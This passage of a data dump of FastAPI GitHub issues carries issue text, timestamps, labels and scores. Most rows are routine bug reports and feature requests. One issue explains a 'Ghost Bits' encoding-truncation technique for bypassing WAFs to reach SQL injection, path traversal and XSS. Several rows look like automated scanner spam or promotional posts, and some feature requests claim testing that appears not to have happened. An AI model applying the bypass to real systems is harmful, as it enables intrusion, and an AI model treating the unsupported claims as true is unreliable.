## Solution Overview
- Enhance OpenAPI generation
- Add interactive examples
- Build SDK generation system
- Create test scenario documentation
- Add authentication flow examples

**Implementation Steps:**
1. Extend OpenAPI schema
2. Add example generation
3. Build SDK generators (TypeScript, Python, Java)
4. Create interactive docs UI
5. Add documentation best practices

## Type of Change
Enhancement, Developer experience, Documentation

## Testing Done
- Test 50+ API patterns
- Verify OpenAPI compliance
- Test SDK generation accuracy
- Cross-language compatibility
- Performance testing

## Related Issues & Standards
OpenAPI 3.0 spec, SDK generation best practices

## Suggested Labels
enhancement, documentation, developer-experience, openapi, GSSoC26",,2026-06-09 04:32:09+00:00,2026-06-09 05:23:53+00:00,1,nan,0.0359,implement automatic api documentation generation with interactive examples and sdk generation problem statement fastapi auto docs are basic complex apis need better documentation no interactive examples by default sdk generation for clients is manual api consumers lack context documentation maintenance is tedious business impact improves developer onboarding by reduces support overhead accelerates client integration improves api adoption root cause analysis docs are auto generated but basic examples are static sdk generation is external solution overview enhance openapi generation add interactive examples build sdk generation system create test scenario documentation add authentication flow examples implementation steps extend openapi schema add example generation build sdk generators typescript python java create interactive docs ui add documentation best practices type of change enhancement developer experience documentation testing done test api patterns verify openapi compliance test sdk generation accuracy cross language compatibility performance testing related issues standards openapi spec sdk generation best practices suggested labels enhancement documentation developer experience openapi gssoc,documentation,0.9761
tiangolo/fastapi,4618844212,Add automatic request/response caching with smart cache invalidation strategies,"## Problem Statement
FastAPI lacks built-in caching. Redis integration requires manual setup. Cache invalidation is complex. No standard way to cache responses based on dependencies. Teams implement custom caching repeatedly.

**Business Impact:** Improves endpoint response times by 70-90%, reduces database load by 50%, enables serving 100x more requests, reduces infrastructure costs.

## Root Cause Analysis
Caching is external concern. No framework integration. Cache invalidation strategies are undefined.

## Solution Overview
- Implement caching decorator
- Add smart cache invalidation
- Build dependency tracking
- Support multiple backends (Redis, Memcached, in-memory)
- Create monitoring

**Implementation Steps:**
1. Design cache decorator API
2. Implement cache key generation
3. Build dependency tracking system
4. Add backend adapters
5. Create examples

## Type of Change
Enhancement, Performance, Scalability

## Testing Done
- Test 40+ caching scenarios
- Verify cache accuracy
- Performance testing (< 1ms cache hits)
- Test invalidation correctness
- Benchmark with 10000+ requests

## Related Issues & Standards
HTTP caching standards, cache patterns

## Suggested Labels
enhancement, caching, performance, scalability, GSSoC26",,2026-06-09 04:31:59+00:00,2026-06-09 05:24:12+00:00,1,nan,0.0363,add automatic request response caching with smart cache invalidation strategies problem statement fastapi lacks built in caching redis integration requires manual setup cache invalidation is complex no standard way to cache responses based on dependencies teams implement custom caching repeatedly business impact improves endpoint response times by reduces database load by enables serving x more requests reduces infrastructure costs root cause analysis caching is external concern no framework integration cache invalidation strategies are undefined solution overview implement caching decorator add smart cache invalidation build dependency tracking support multiple backends redis memcached in memory create monitoring implementation steps design cache decorator api implement cache key generation build dependency tracking system add backend adapters create examples type of change enhancement performance scalability testing done test caching scenarios verify cache accuracy performance testing ms cache hits test invalidation correctness benchmark with requests related issues standards http caching standards cache patterns suggested labels enhancement caching performance scalability gssoc,feature,0.8519
tiangolo/fastapi,4618842260,Implement GraphQL integration with automatic schema generation from Pydantic models,"## Problem Statement
FastAPI excels at REST but lacks GraphQL support. GraphQL schema must be defined separately from Pydantic models. Code duplication between REST and GraphQL definitions. Teams choose between REST and GraphQL instead of offering both.

**Business Impact:** Enables flexible querying, supports multiple client needs, improves API flexibility, enables modern frontend patterns.

## Root Cause Analysis
GraphQL is separate from REST. Schema duplication is required. Integration is manual.

## Solution Overview
- Create FastAPI-GraphQL integration
- Auto-generate GraphQL schema from Pydantic
- Support both REST and GraphQL simultaneously
- Build query validation
- Add performance monitoring

**Implementation Steps:**
1. Design GraphQL integration API
2. Build schema generator from Pydantic
3. Implement query resolver system
4. Add authentication/authorization
5. Create examples and documentation

## Type of Change
Enhancement, API design, New feature

## Testing Done
- Test 50+ GraphQL scenarios
- Verify schema generation accuracy
- Performance testing (< 100ms queries)
- Test concurrent requests (1000+)
- Security testing

## Related Issues & Standards
GraphQL spec, Pydantic integration

## Suggested Labels
enhancement, graphql, api-design, pydantic, GSSoC26",,2026-06-09 04:31:38+00:00,2026-06-09 05:24:41+00:00,1,nan,0.0368,implement graphql integration with automatic schema generation from pydantic models problem statement fastapi excels at rest but lacks graphql support graphql schema must be defined separately from pydantic models code duplication between rest and graphql definitions teams choose between rest and graphql instead of offering both business impact enables flexible querying supports multiple client needs improves api flexibility enables modern frontend patterns root cause analysis graphql is separate from rest schema duplication is required integration is manual solution overview create fastapi graphql integration auto generate graphql schema from pydantic support both rest and graphql simultaneously build query validation add performance monitoring implementation steps design graphql integration api build schema generator from pydantic implement query resolver system add authentication authorization create examples and documentation type of change enhancement api design new feature testing done test graphql scenarios verify schema generation accuracy performance testing ms queries test concurrent requests security testing related issues standards graphql spec pydantic integration suggested labels enhancement graphql api design pydantic gssoc,others,0.9853
tiangolo/fastapi,4579103570,AI安全审计报告：FastAPI代码质量评估,"## 🕳️ AI 代码审计报告

对 FastAPI (tiangolo/fastapi) 进行了自动安全扫描。

### 扫描概况

- 源文件: 1,120 个 Python 文件 (109,217 行代码)
- 发现: 2 类安全模式

### 发现详情

**1. 命令执行相关调用（3处）**
- 存在 subprocess.Popen / os.system 等调用
- 建议: 审查这些调用是否涉及用户输入，使用 shlex.quote 处理参数

**2. 配置密钥（4处）**
- 代码中包含 SECRET_KEY 等配置字面量
- 建议: 生产环境通过环境变量注入

---

📊 FastAPI 整体代码质量较高。
本次扫描基于静态代码分析，未进行动态验证。

⚡ 扫描工具: ONESEC v4.0（多语言引擎：Go + Python）

> 如需对您的项目做安全审计，可联系: l15250432278@163.com",,2026-06-03 10:44:40+00:00,2026-06-03 10:58:39+00:00,0,nan,0.0097,ai fastapi ai fastapi tiangolo fastapi python subprocess popen os system shlex quote secret key fastapi onesec v go python l com,others,0.0
tiangolo/fastapi,4523222003,OSV advisory MAL-2026-4750 appears to be a false positive for fastapi/fastapi,"### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

There is an OSV advisory MAL-2026-4750 that currently lists the FastAPI GitHub repository as affected:
https://osv.dev/vulnerability/MAL-2026-4750

After investigating, we believe this is a false positive and that the FastAPI project itself is not affected by the described issue.

If you agree that MAL-2026-4750 is not applicable to fastapi/fastapi and if you are in contact with OSV, it would be very helpful if you could request a correction or removal of the false association, since many consumers rely on these feeds.

Thanks!",,2026-05-26 09:52:08+00:00,2026-05-27 14:09:00+00:00,7,nan,1.1784,osv advisory mal appears to be a false positive for fastapi fastapi privileged issue i m tiangolo or he asked me directly to create an issue here issue content there is an osv advisory mal that currently lists the fastapi github repository as affected after investigating we believe this is a false positive and that the fastapi project itself is not affected by the described issue if you agree that mal is not applicable to fastapi fastapi and if you are in contact with osv it would be very helpful if you could request a correction or removal of the false association since many consumers rely on these feeds thanks,others,0.9552
tiangolo/fastapi,4490767495,"fastapi[standard]>=0.112.0,<0.113.0","### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

was using ai to create page",,2026-05-21 00:23:01+00:00,2026-05-21 05:02:20+00:00,0,nan,0.194,fastapi standard privileged issue x i m tiangolo or he asked me directly to create an issue here issue content was using ai to create page,others,0.7269
tiangolo/fastapi,4458604944,Ensure pydantic_extra_types Color encoder path is covered in tests,"### Describe the bug

The new `jsonable_encoder()` coverage for `pydantic_extra_types.color.Color` can be skipped in the default test environment, so the modern color-type branch added in `fastapi/encoders.py` may not be exercised by normal test runs.

On current `master` (`ecace74`), this command passes one color case and skips the `pydantic_extra_types.color` case because `pydantic_extra_types` is not installed in the default test environment:

```console
$ uv run pytest tests/test_jsonable_encoder.py::test_encode_color -q -rs
.s                                                                       [100%]
=========================== short test summary info ===========================
SKIPPED [1] tests\test_jsonable_encoder.py:328: pydantic_extra_types.color not available
1 passed, 1 skipped in 0.44s
```

### To Reproduce

1. Check out current `master`.
2. Run:

```console
uv run pytest tests/test_jsonable_encoder.py::test_encode_color -q -rs
```

### Expected behavior

The newly added `pydantic_extra_types.color.Color` encoder path should be covered in at least one required CI/test environment, or the optional-extra coverage should live in an explicit extra-specific test job.

### Suggested solution

One of these would make the coverage explicit:

- Add `pydantic-extra-types >=2.0.0` to the `tests` dependency group, or
- Add an extra-specific CI/test job that installs `fastapi[standard]` or `fastapi[all]` and requires the `pydantic_extra_types.color` branch to run.

### Env... [TRUNCATED]",,2026-05-16 04:55:22+00:00,2026-05-16 08:26:44+00:00,0,nan,0.1468,ensure pydantic extra types color encoder path is covered in tests describe the bug the new coverage for can be skipped in the default test environment so the modern color type branch added in may not be exercised by normal test runs on current this command passes one color case and skips the case because is not installed in the default test environment to reproduce check out current run the newly added encoder path should be covered in at least one required ci test environment or the optional extra coverage should live in an explicit extra specific test job suggested solution one of these would make the coverage explicit add to the dependency group or add an extra specific ci test job that installs or and requires the branch to run env truncated,others,0.2263
tiangolo/fastapi,4457718572,Broken optional orjson/ujson install can break importing fastapi.responses,"### First Check

- [x] I added a very descriptive title to this issue.
- [x] I used the GitHub search to find a similar issue and didn't find it.
- [x] I searched the FastAPI documentation, with the integrated search.
- [x] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [x] I already read and followed all the tutorial in the docs and didn't find an answer.
- [x] I already checked if it is not related to FastAPI but to Pydantic.
- [x] I already checked if it is not related to FastAPI but to Swagger UI.
- [x] I already checked if it is not related to FastAPI but to ReDoc.

### Commit to Help

- [x] I commit to help with one of those options.

### Example Code

```python
import sys, importlib

sys.path.insert(0, ""/path/to/fastapi"")

real_import_module = importlib.import_module

def fake_import_module(name, package=None):
    if name == ""ujson"":
        raise ModuleNotFoundError(""No module named 'ujson'"")
    if name == ""orjson"":
        raise ImportError(""simulated binary/load failure"")
    return real_import_module(name, package)

importlib.import_module = fake_import_module

import fastapi.responses
```

### Description

Recent `fastapi.responses` code catches `ModuleNotFoundError` when importing optional JSON response encoders:

```python
try:
    ujson = cast(_UjsonModule, importlib.import_module(""ujson""))
except ModuleNotFoundError:
    ujson = None

try:
    orjson = cast(_OrjsonModule, importlib.import_module(""orjson""))
except Module... [TRUNCATED]",,2026-05-16 00:03:29+00:00,2026-05-16 08:10:44+00:00,0,nan,0.3384,broken optional orjson ujson install can break importing fastapi responses first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description recent code catches when importing optional json response encoders python try ujson cast ujsonmodule importlib import module ujson except modulenotfounderror ujson none try orjson cast orjsonmodule importlib import module orjson except module truncated,others,0.8922
tiangolo/fastapi,4424832738,Custom APIRoute classes with explicit constructors fail after strict_content_type was added,"### Summary

Recent FastAPI versions added `strict_content_type` and now pass it through `APIRouter.add_api_route()` into the configured `route_class`. This breaks custom `APIRoute` subclasses that define an explicit constructor matching the previous public `APIRoute.__init__` signature.

Subclasses that only override `get_route_handler()` still work, and subclasses using `**kwargs` still work. The regression affects subclasses that pinned the previously accepted constructor parameters and delegate them to `super().__init__()`.

### Reproducer

```python
from enum import Enum
from typing import Any, Callable, Sequence

from fastapi import APIRouter, FastAPI, params
from fastapi.datastructures import Default, DefaultPlaceholder
from fastapi.responses import JSONResponse, Response
from fastapi.routing import APIRoute
from fastapi.types import IncEx
from fastapi.utils import generate_unique_id
from starlette.routing import BaseRoute


class LegacyRoute(APIRoute):
    def __init__(
        self,
        path: str,
        endpoint: Callable[..., Any],
        *,
        response_model: Any = Default(None),
        status_code: int | None = None,
        tags: list[str | Enum] | None = None,
        dependencies: Sequence[params.Depends] | None = None,
        summary: str | None = None,
        description: str | None = None,
        response_description: str = ""Successful Response"",
        responses: dict[int | str, dict[str, Any]] | None = None,
        deprecated: bool | None... [TRUNCATED]",,2026-05-11 22:48:49+00:00,2026-05-18 07:09:43+00:00,3,nan,6.3478,custom apiroute classes with explicit constructors fail after strict content type was added summary recent fastapi versions added and now pass it through into the configured this breaks custom subclasses that define an explicit constructor matching the previous public signature subclasses that only override still work and subclasses using still work the regression affects subclasses that pinned the previously accepted constructor parameters and delegate them to reproducer python from enum import enum from typing import any callable sequence from fastapi import apirouter fastapi params from fastapi datastructures import default defaultplaceholder from fastapi responses import jsonresponse response from fastapi routing import apiroute from fastapi types import incex from fastapi utils import generate unique id from starlette routing import baseroute class legacyroute apiroute def init self path str endpoint callable any response model any default none status code int none none tags list str enum none none dependencies sequence params depends none none summary str none none description str none none response description str successful response responses dict int str dict str any none none deprecated bool none truncated,others,0.4404
tiangolo/fastapi,4362347472,"[Code Review] Recent dependency updates — pydantic 2.13, pydantic-ai 1.83 (Apr 2026)","## Code Review: fastapi/fastapi Recent Changes (Last 10 Days)

### Overview
Reviewed recent commits from ~Apr 22 to May 1, 2026.

### Low-Risk Changes
- UI/Docs updates: interactive tabs, layout styling (#15458, #15462)
- Release v0.136.1 with Pydantic v2 deprecation fixes
- No security patches needed (clean — no emergency fixes required)
- All CI commits properly signed; author contributions verified

### Notable Dependency Bumps

| Dependency | Old Version | New Version | Risk Level | Notes |
|-----------|-------------|-------------|------------|-------|
| pydantic | 2.12.5 | 2.13.2 | **HIGH** | 1,765 commits between versions |
| pydantic-ai | 1.63.0 | 1.83.0 | **MEDIUM** | 20 minor version jumps |
| fastar | 0.9.0 | 0.11.0 | **MEDIUM** | Major minor bump |
| sqlmodel | 0.0.32 | 0.0.38 | LOW | Patch bumps |

### Key Observations

1. **Multiple major dependency jumps happened simultaneously on Apr 27** with no explanatory release notes — recommend adding a changelog entry explaining why

2. **pydantic-ai upgrade cadence is very fast** — already at 1.86.0 in pending PR #15459; worth monitoring for regressions

3. **pydantic 2.13.x may introduce breaking changes** — recommend thorough testing of Pydantic v2 compatibility, especially with custom validators

4. **No regression issues found** in the review period

### Recommendation
- Add explanatory release notes for the Apr 27 dependency batch update
- Consider pinning critical dependency versions if not already done
- Monitor ... [TRUNCATED]",,2026-05-01 01:48:47+00:00,2026-05-01 04:21:02+00:00,0,nan,0.1057,code review recent dependency updates pydantic pydantic ai apr code review fastapi fastapi recent changes last days overview reviewed recent commits from apr to may low risk changes ui docs updates interactive tabs layout styling release v with pydantic v deprecation fixes no security patches needed clean no emergency fixes required all ci commits properly signed author contributions verified notable dependency bumps dependency old version new version risk level notes pydantic high commits between versions pydantic ai medium minor version jumps fastar medium major minor bump sqlmodel low patch bumps key observations multiple major dependency jumps happened simultaneously on apr with no explanatory release notes recommend adding a changelog entry explaining why pydantic ai upgrade cadence is very fast already at in pending pr worth monitoring for regressions pydantic x may introduce breaking changes recommend thorough testing of pydantic v compatibility especially with custom validators no regression issues found in the review period recommendation add explanatory release notes for the apr dependency batch update consider pinning critical dependency versions if not already done monitor truncated,others,-0.5434
tiangolo/fastapi,4347329743,Malformed Links in Documentation Home,"### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Hi, 

I just accessed the documentation home page and saw that the links on the Opinitions sections was malformed: 

<img width=""1742"" height=""1220"" alt=""Image"" src=""https://github.com/user-attachments/assets/b40f29ae-4472-4157-9ec7-a5eb1afdb85c"" />

I though about correcting it to start contributing, but I don't have the time rn, so I wanted to report. If I have the time I might look into correcting this to start contributing more.

Please, feel free to connect and hope to have helped. Let me know if this is not the right place and where that would be.

Best,",,2026-04-29 01:47:27+00:00,2026-04-30 15:03:21+00:00,2,nan,1.5527,malformed links in documentation home privileged issue x i m tiangolo or he asked me directly to create an issue here issue content hi i just accessed the documentation home page and saw that the links on the opinitions sections was malformed i though about correcting it to start contributing but i don t have the time rn so i wanted to report if i have the time i might look into correcting this to start contributing more please feel free to connect and hope to have helped let me know if this is not the right place and where that would be best,documentation,0.9697
tiangolo/fastapi,4342460478,SECURITY: Ghost Bits Vulnerability - String to byte conversion silently truncates high bits,"# Ghost Bits Vulnerability in FastAPI

## Summary

A security vulnerability has been identified in Python's string-to-byte conversion mechanism that affects applications using FastAPI. The vulnerability, dubbed ""Ghost Bits,"" enables attackers to bypass WAF detection and execute SQL injection, path traversal, and XSS attacks by exploiting high-bit truncation during type conversions from Unicode strings to bytes using `latin-1` encoding.

**Note**: This vulnerability requires the use of `latin-1` encoding, which is less common than UTF-8 in modern Python code. FastAPI defaults to UTF-8, reducing the risk compared to other languages.

## Severity

**Medium** - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (7.5)

*Note: Severity is reduced from Critical to Medium due to the requirement of `latin-1` encoding and FastAPI's default UTF-8 encoding.*

## Affected Components

- FastAPI query parameter handling
- FastAPI form data processing
- FastAPI path parameter parsing

## Affected Versions

All versions (requires using latin-1 encoding)

## Technical Details

### Vulnerability Mechanism

When Python code converts Unicode strings to bytes using `ord() & 0xFF` or `encode('latin-1')`, high bits are silently discarded:

```python
# Method 1: ord() & 0xFF
ch = '\u2F58'  # 爻 (U+2F58) = 0x00002F58
byte = ord(ch) & 0xFF  # Only low 8 bits: 0x58 = 'X'

# Method 2: encode('latin-1')
str_val = '爻'
bytes_val = str_val.encode('latin-1')  # [0x58], truncation!
```

**Critical Finding**: This req... [TRUNCATED]",,2026-04-28 10:39:38+00:00,2026-04-28 11:55:54+00:00,2,nan,0.053,security ghost bits vulnerability string to byte conversion silently truncates high bits ghost bits vulnerability in fastapi summary a security vulnerability has been identified in python s string to byte conversion mechanism that affects applications using fastapi the vulnerability dubbed ghost bits enables attackers to bypass waf detection and execute sql injection path traversal and xss attacks by exploiting high bit truncation during type conversions from unicode strings to bytes using encoding note this vulnerability requires the use of encoding which is less common than utf in modern python code fastapi defaults to utf reducing the risk compared to other languages severity medium cvss av n ac h pr n ui n s u c h i h a h note severity is reduced from critical to medium due to the requirement of encoding and fastapi s default utf encoding affected components fastapi query parameter handling fastapi form data processing fastapi path parameter parsing affected versions all versions requires using latin encoding technical details vulnerability mechanism when python code converts unicode strings to bytes using or high bits are silently discarded critical finding this req truncated,others,-0.9805
tiangolo/fastapi,4305867513,SSE `stream_item_type` not propagated through `APIRouter` + `include_router`,"### Summary

When an SSE route (`response_class=EventSourceResponse` + `AsyncIterator[Frame]` return annotation) is defined on an `APIRouter` and then merged onto a `FastAPI` app via `include_router`, the resulting merged route loses its `stream_item_type`. As a consequence, the OpenAPI `text/event-stream` response schema omits the `data.contentSchema`, so tooling like `datamodel-codegen` cannot generate frame models.

Defining the same route directly on the `FastAPI` app via `@app.post(...)` works correctly.

### Reproduction

```python
from collections.abc import AsyncIterator

from fastapi import APIRouter, FastAPI
from fastapi.sse import EventSourceResponse
from pydantic import BaseModel


class Frame(BaseModel):
    kind: str


# Case A — route registered directly on the app: works
app_a = FastAPI()

@app_a.post(""/s"", response_class=EventSourceResponse)
async def a() -> AsyncIterator[Frame]:
    yield Frame(kind=""x"")


# Case B — route defined on a router, then `include_router`: broken
router = APIRouter()

@router.post(""/s"", response_class=EventSourceResponse)
async def b() -> AsyncIterator[Frame]:
    yield Frame(kind=""x"")


app_b = FastAPI()
app_b.include_router(router)

print(""DIRECT:"", app_a.routes[-1].stream_item_type)
print(""ROUTER (pre-include):"", router.routes[-1].stream_item_type)
print(""APP (post-include):"", app_b.routes[-1].stream_item_type)


def has_content_schema(spec: dict) -> bool:
    sse = spec[""paths""][""/s""][""post""][""responses""][""200""][""content""][""tex... [TRUNCATED]",,2026-04-21 23:35:56+00:00,2026-05-18 13:16:17+00:00,7,nan,26.5697,sse not propagated through summary when an sse route return annotation is defined on an and then merged onto a app via the resulting merged route loses its as a consequence the openapi response schema omits the so tooling like cannot generate frame models defining the same route directly on the app via works correctly reproduction python from collections abc import asynciterator from fastapi import apirouter fastapi from fastapi sse import eventsourceresponse from pydantic import basemodel class frame basemodel kind str case a route registered directly on the app works app a fastapi app a post s response class eventsourceresponse async def a asynciterator frame yield frame kind x case b route defined on a router then broken router apirouter router post s response class eventsourceresponse async def b asynciterator frame yield frame kind x app b fastapi app b include router router print direct app a routes stream item type print router pre include router routes stream item type print app post include app b routes stream item type def has content schema spec dict bool sse spec paths s post responses content tex truncated,others,0.8214
tiangolo/fastapi,4247411221,🚨 Security Vulnerability Detected: tests/test_tutorial/test_security/test_tutorial004.py,"## Sentinel-Zero Automated Report

**Issue:**
The code contains hardcoded secrets, such as the password 'secret' in the get_access_token function and the test_login function.

*A patch is being generated and a PR will be linked shortly.*",,2026-04-12 09:31:49+00:00,2026-04-12 11:26:00+00:00,0,nan,0.0793,security vulnerability detected tests test tutorial test security test tutorial py sentinel zero automated report issue the code contains hardcoded secrets such as the password secret in the get access token function and the test login function a patch is being generated and a pr will be linked shortly,documentation,0.4404
tiangolo/fastapi,4247002591,🚨 Security Vulnerability Detected: docs/en/docs/js/custom.js,"I have built a AI Agentic Security Analyst that analyses repos with security vulnerabilities... so this was one of it's remediation. Kindly merge it

You can view the repository here👇

Repository Link: https://github.com/Sumedh-6504/sentinel_zero.git

_Originally posted by @Sumedh-6504 in https://github.com/fastapi/fastapi/issues/15323#issuecomment-4230983767_
            ",,2026-04-12 07:27:51+00:00,2026-04-12 08:41:12+00:00,0,nan,0.0509,security vulnerability detected docs en docs js custom js i have built a ai agentic security analyst that analyses repos with security vulnerabilities so this was one of it s remediation kindly merge it you can view the repository here repository link originally posted by sumedh in,documentation,0.7845
tiangolo/fastapi,4246979301,🚨 Security Vulnerability Detected: docs/en/docs/js/custom.js,"## Sentinel-Zero Automated Report

**Issue:**
{""vulnerable"": true, ""type"": ""DOM-based XSS"", ""description"": ""The code uses `node.textContent = inputCommands;` which can lead to DOM-based XSS if the `inputCommands` variable contains user-controlled data. Additionally, the `showRandomAnnouncement` function uses `children[index].style.display = 'block'` which can also lead to DOM-based XSS if the `children` array contains user-controlled data.""}

*A patch is being generated and a PR will be linked shortly.*",,2026-04-12 07:14:37+00:00,2026-04-12 07:28:17+00:00,0,nan,0.0095,security vulnerability detected docs en docs js custom js sentinel zero automated report issue vulnerable true type dom based xss description the code uses which can lead to dom based xss if the variable contains user controlled data additionally the function uses which can also lead to dom based xss if the array contains user controlled data a patch is being generated and a pr will be linked shortly,documentation,0.34
tiangolo/fastapi,4183383596,Add Clarvia AEO badge — FastAPI agent-readiness score,"## Add Clarvia AEO Badge — FastAPI Agent Readiness Score

Hi! I'm building [Clarvia](https://clarvia.art) — an AEO (AI Engine Optimization) platform that rates APIs and frameworks for autonomous agent integration quality.

FastAPI is used by millions of developers to build APIs, and increasingly these APIs are being consumed by AI agents. An AEO badge would help FastAPI developers understand how agent-friendly their APIs are.

**What is AEO?** AEO evaluates APIs for:
- 📚 OpenAPI/JSON Schema completeness
- 🔧 Structured error responses
- 🔍 Agent discoverability (OpenAPI auto-discovery)
- 🛡️ Security patterns (OAuth2, API keys)
- 🌐 Ecosystem health

FastAPI actually excels at many of these (automatic OpenAPI generation, typed responses, OAuth2 support) — which is why we think it deserves a high AEO score.

**Badge markdown:**
```markdown
[![AEO Score](https://clarvia.art/api/badge/fastapi)](https://clarvia.art/tool/fastapi)
```

Full FastAPI profile: https://clarvia.art — 27,906+ tools indexed.

This would be a powerful signal to the AI agent developer community that FastAPI-built APIs are agent-ready by default!",,2026-04-01 01:25:40+00:00,2026-04-16 12:51:26+00:00,1,nan,15.4762,add clarvia aeo badge fastapi agent readiness score add clarvia aeo badge fastapi agent readiness score hi i m building clarvia an aeo ai engine optimization platform that rates apis and frameworks for autonomous agent integration quality fastapi is used by millions of developers to build apis and increasingly these apis are being consumed by ai agents an aeo badge would help fastapi developers understand how agent friendly their apis are what is aeo aeo evaluates apis for openapi json schema completeness structured error responses agent discoverability openapi auto discovery security patterns oauth api keys ecosystem health fastapi actually excels at many of these automatic openapi generation typed responses oauth support which is why we think it deserves a high aeo score badge markdown full fastapi profile tools indexed this would be a powerful signal to the ai agent developer community that fastapi built apis are agent ready by default,others,0.9657
tiangolo/fastapi,4152423819,"Static analysis commands are duplicated across lint.sh and pre-commit, making drift likely","## Summary

The recent change in PR #15136 adds `ty check fastapi` to `scripts/lint.sh`, but FastAPI now maintains the static-analysis command set in multiple places with slightly different entrypoints:

- `scripts/lint.sh`
- `.pre-commit-config.yaml`
- `.github/workflows/pre-commit.yml` / CI setup

This creates a drift risk: each time a new checker is added or an existing one changes invocation details, contributors and automation may silently diverge.

## Why this matters

Right now, `ty` is present both in `scripts/lint.sh` and in `.pre-commit-config.yaml`, but they are not driven from a single source of truth:

- `scripts/lint.sh` runs bare executables:
  - `mypy fastapi`
  - `ty check fastapi`
  - `ruff check ...`
  - `ruff format ... --check`
- `.pre-commit-config.yaml` runs the same tools through `uv run ...`

This means future updates can easily land in one path but not the others. PR #15136 is a good example of how easy it is for the maintenance burden to increase with every new tool added.

## Concrete risk

A contributor can get different results depending on whether they run:

- `bash scripts/lint.sh`
- `prek run -a`
- the GitHub Actions pre-commit workflow

Even if they currently happen to pass, the repo is relying on humans to remember to update several places whenever the lint stack changes.

## Suggested fix

Use one source of truth for the static checks. For example:

1. Make `.pre-commit-config.yaml` call `bash scripts/lint.sh` (or smaller script fragments),... [TRUNCATED]",,2026-03-27 12:57:39+00:00,2026-03-27 13:55:36+00:00,0,nan,0.0402,static analysis commands are duplicated across lint sh and pre commit making drift likely summary the recent change in pr adds to but fastapi now maintains the static analysis command set in multiple places with slightly different entrypoints ci setup this creates a drift risk each time a new checker is added or an existing one changes invocation details contributors and automation may silently diverge why this matters right now is present both in and in but they are not driven from a single source of truth runs bare executables runs the same tools through this means future updates can easily land in one path but not the others pr is a good example of how easy it is for the maintenance burden to increase with every new tool added concrete risk a contributor can get different results depending on whether they run the github actions pre commit workflow even if they currently happen to pass the repo is relying on humans to remember to update several places whenever the lint stack changes suggested fix use one source of truth for the static checks for example make call or smaller script fragments truncated,others,0.9628
tiangolo/fastapi,4152273850,scripts/people.py still ignores minimized top-level discussions in People stats,"## Summary
The recent change in `scripts/people.py` that excludes minimized comments/replies from the FastAPI People statistics is incomplete for top-level discussions.

The GraphQL query now fetches `minimizedReason` for each discussion node, but `DiscussionsNode` does not model that field and `get_discussions_experts()` never checks it before processing the discussion's comments/replies.

As a result, a minimized discussion can still contribute participants to the People stats through its non-minimized replies/comments, even though the thread itself has already been moderation-minimized.

## Relevant recent change
- Commit: `0227991` (`🔨 Exclude spam comments from statistics in scripts/people.py`)

## What I observed
In `scripts/people.py`:

1. The GraphQL query includes `minimizedReason` on the discussion node itself.
2. `DiscussionsNode` only defines:
   - `number`
   - `author`
   - `title`
   - `createdAt`
   - `comments`
3. `get_discussions_experts()` filters `comment.minimizedReason` and `reply.minimizedReason`, but never filters the discussion/thread itself.

That means the top-level moderation state is fetched but ignored.

## Why this matters
If a discussion is minimized for spam / abuse / off-topic / duplicate reasons, the script still traverses that discussion and can count participants from replies/comments under that thread.

So the recent fix is only partial: it excludes minimized comments, but not minimized discussions.

## Expected behavior
If a discussion i... [TRUNCATED]",,2026-03-27 12:37:13+00:00,2026-03-27 13:54:55+00:00,0,nan,0.054,scripts people py still ignores minimized top level discussions in people stats summary the recent change in that excludes minimized comments replies from the fastapi people statistics is incomplete for top level discussions the graphql query now fetches for each discussion node but does not model that field and never checks it before processing the discussion s comments replies as a result a minimized discussion can still contribute participants to the people stats through its non minimized replies comments even though the thread itself has already been moderation minimized relevant recent change commit what i observed in the graphql query includes on the discussion node itself only defines filters and but never filters the discussion thread itself that means the top level moderation state is fetched but ignored why this matters if a discussion is minimized for spam abuse off topic duplicate reasons the script still traverses that discussion and can count participants from replies comments under that thread so the recent fix is only partial it excludes minimized comments but not minimized discussions if a discussion i truncated,help,-0.6065
tiangolo/fastapi,4152207618,Review: compatibility and contract risks around Pydantic >=2.9.0 floor bump,"## Summary

I reviewed the most recent framework-affecting upstream changes visible around FastAPI 0.135.2. The main substantive change in the inspected window is PR #15139:

- Increase lower bound to `pydantic >= 2.9.0`
- Adjust tests to accept multiple schema shapes across Pydantic 2.9/2.10/2.11

Overall, the code delta is small, but the compatibility impact is not. The main concern is release-management and contract clarity, not request-path performance.

## Findings

### High — Potential breaking change shipped as a patch release

FastAPI changed its dependency floor from `pydantic>=2.7.0` to `pydantic>=2.9.0` in what appears as a patch release (`0.135.2`).

**Why this matters**
- Patch upgrades are commonly assumed to be safe.
- This can break downstream environments pinned to Pydantic 2.7.x or 2.8.x.
- Lockfile resolution may now force broader upgrades than users expect.

**Recommendation**
- Treat this as a breaking compatibility note in release notes, or
- Move dependency floor changes like this to a minor release unless there is a hard runtime correctness reason.

### Medium — Test contract is now more permissive, reducing schema-surface precision

The updated tests use flexible assertions (`IsOneOf`) to accept multiple OpenAPI/JSON Schema shapes depending on the installed Pydantic version.

Examples include:
- top-level schema presence/absence differences
- `additionalProperties` presence differences
- `const`-only vs `const + enum` output differences

**Why this ma... [TRUNCATED]",,2026-03-27 12:27:32+00:00,2026-03-27 13:53:50+00:00,0,nan,0.0599,review compatibility and contract risks around pydantic floor bump summary i reviewed the most recent framework affecting upstream changes visible around fastapi the main substantive change in the inspected window is pr increase lower bound to adjust tests to accept multiple schema shapes across pydantic overall the code delta is small but the compatibility impact is not the main concern is release management and contract clarity not request path performance findings high potential breaking change shipped as a patch release fastapi changed its dependency floor from to in what appears as a patch release why this matters patch upgrades are commonly assumed to be safe this can break downstream environments pinned to pydantic x or x lockfile resolution may now force broader upgrades than users expect recommendation treat this as a breaking compatibility note in release notes or move dependency floor changes like this to a minor release unless there is a hard runtime correctness reason medium test contract is now more permissive reducing schema surface precision the updated tests use flexible assertions to accept multiple openapi json schema shapes depending on the installed pydantic version examples include top level schema presence absence differences presence differences only vs output differences why this ma truncated,others,0.9606
